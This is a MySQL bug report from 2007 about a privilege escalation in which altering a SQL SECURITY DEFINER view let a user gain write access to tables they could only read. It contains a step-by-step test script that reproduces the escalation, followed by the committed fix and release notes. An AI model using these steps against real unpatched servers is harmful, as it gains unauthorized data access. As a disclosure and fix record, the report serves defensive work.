MySQL Bugs: #29908: alter view keeps current definer, user can gain additioanl access

Bug #29908	alter view keeps current definer, user can gain additioanl access
Submitted:	19 Jul 2007 17:57	Modified:	31 Oct 2007 1:18
Reporter:	Martin Friebe (Gold Quality Contributor) (OCA)	Email Updates:
Status:	Closed	Impact on me:	None
Category:	MySQL Server	Severity:	S3 (Non-critical)
Version:	5.1.21 5.0.46	OS:	FreeBSD
Assigned to:	Evgeny Potemkin	CPU Architecture:	Any
Tags:	backport_050050SP1, grant, VIEW

Description:
If you alter a view, it keeps it current definer, and security.

This can be used to gain additional access.

Assume a user with:
- read access to a schema "db1".
- write access to a schema "db2"
- write access to ONE column "a" (with limitation to certain rows) through a view in db2 
  access to the table is given through SQL SECURITY DEFIENER
- the privilege to ALTER views (CREATE VIEW, DROP) in db2

the user can only insert update rows in db1.t1 as restricted by the views condition.

creating a new view will not grant him additional access to the table (as securit will be invoker)

BUT altering the existing view, will grant that access (as security and definer are kept)

This means the user can get write access to any table that he has read access to.

How to repeat:
--disable_warnings
drop database if exists db1;
drop database if exists db2;
--enable_warnings

create database db1;
create database db2;

create table db1.t1 (a int, b int);
create SQL SECURITY DEFINER view db2.v1 as select a from db1.t1 where a > 10 WITH CHECK OPTION;

create user 'u1'@'localhost';
grant SELECT on db1.* to 'u1'@'localhost';
grant SELECT, INSERT, UPDATE on db2.* to 'u1'@'localhost';
grant CREATE VIEW, DROP on db2.* to 'u1'@'localhost';

connect (conn1, localhost, u1, , db1);
connection conn1;

# not allowed a out of permitted range
--error 1369
insert into db2.v1 (a) values(1);

# cant create a view of his own to get full access t1
create view db2.v2 as select a,b from db1.t1;
--error 1356
insert into db2.v2 select 1,2;

# can alter existing view to gain full access to t1
alter view db2.v1 as select a,b from db1.t1;
insert into db2.v1 select 1,2;
select * from db1.t1;

connection default;

show create view db2.v1; # definer and security are unchanged

Suggested fix:
If a view is altered the definer should be changed.

"create or replace view" has the same issue

Thank you for the bug report.

A patch for this bug has been committed. After review, it may
be pushed to the relevant source trees for release in the next
version. You can access the patch from:

  http://lists.mysql.com/commits/34444

ChangeSet@1.2526, 2007-09-20 18:05:09+04:00, evgen@sunlight.local +3 -0
  Bug#29908: A user can gain additional access through the ALTER VIEW.
  
  Non-definer of a view was allowed to alter that view. Due to this the alterer
  can elevate his access rights to access rights of the view definer and thus
  modify data which he wasn't allowed to modify. A view defined with
  SQL SECURITY INVOKER can't be used directly for access rights elevation.
  But a user can first alter the view SQL code and then alter the view to 
  SQL SECURITY DEFINER and thus elevate his access rights. Due to this
  altering a view with SQL SECURITY INVOKER is also prohibited.
  
  Now the mysql_create_view function allows ALTER VIEW only to the view
  definer or a super user.

Pushed into 5.0.52

Pushed into 5.1.23-beta

Pushed into 6.0.4-alpha

Noted in 5.0.52, 5.1.23, 6.0.4 changelogs.

ALTER VIEW retained the original DEFINER value, even when altered by
another user, which could allow that user to gain the access rights 
of the view. Now ALTER VIEW is allowed only to the original definer
or users with the SUPER privilege.

When applying the patch to 5.0.51 and running the testsuite, the view_grant test fails.

view_grant failure

Attachment: view_grant-failure.log (text/x-log), 1.41 KiB.

The testsuite problem is fixed in 5.0-bk already.

Pushed into 5.0.82 (revid:chad@mysql.com-20090506130632-s1cl4ygdj9rt2rrz) (version source revid:chad@mysql.com-20090506130632-s1cl4ygdj9rt2rrz) (merge vers: 5.0.82) (pib:6)

Pushed into 5.1.36 (revid:joro@sun.com-20090528073639-yohsb4q1jzg7ycws) (version source revid:jimw@mysql.com-20090515174051-ndjvfd1e9hc9k9c3) (merge vers: 5.1.36) (pib:6)

Pushed into 5.4.4-alpha (revid:alik@sun.com-20090616183122-chjzbaa30qopdra9) (version source revid:joro@sun.com-20090515134506-5mq3a8fafgbkx6u1) (merge vers: 6.0.12-alpha) (pib:11)

Pushed into 5.1.37-ndb-7.0.8 (revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (version source revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (merge vers: 5.1.37-ndb-7.0.8) (pib:11)

Pushed into 5.1.37-ndb-6.3.27 (revid:jonas@mysql.com-20090826105955-bkj027t47gfbamnc) (version source revid:jonas@mysql.com-20090826105955-bkj027t47gfbamnc) (merge vers: 5.1.37-ndb-6.3.27) (pib:11)

Pushed into 5.1.37-ndb-6.2.19 (revid:jonas@mysql.com-20090825194404-37rtosk049t9koc4) (version source revid:jonas@mysql.com-20090825194404-37rtosk049t9koc4) (merge vers: 5.1.37-ndb-6.2.19) (pib:11)

Pushed into 5.1.35-ndb-7.1.0 (revid:magnus.blaudd@sun.com-20090827163030-6o3kk6r2oua159hr) (version source revid:jonas@mysql.com-20090826132541-yablppc59e3yb54l) (merge vers: 5.1.37-ndb-7.0.8) (pib:11)